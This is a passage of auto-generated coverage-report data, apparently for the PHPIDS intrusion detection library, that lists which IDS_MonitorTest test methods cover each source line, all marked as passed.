class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel615": { - "header": "33 tests cover line 615", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel616": { - "header": "33 tests cover line 616", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel618": { - "header": "33 tests cover line 618", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel619": { - "header": "33 tests cover line 619", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel620": { - "header": "33 tests cover line 620", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel621": { - "header": "33 tests cover line 621", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel624": { - "header": "33 tests cover line 624", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel626": { - "header": "16 tests cover line 626", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel627": { - "header": "16 tests cover line 627", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel628": { - "header": "16 tests cover line 628", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel631": { - "header": "16 tests cover line 631", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel632": { - "header": "16 tests cover line 632", - "body": "<ul><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel633": { - "header": "33 tests cover line 633", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel635": { - "header": "35 tests cover line 635", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel637": { - "header": "32 tests cover line 637", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li 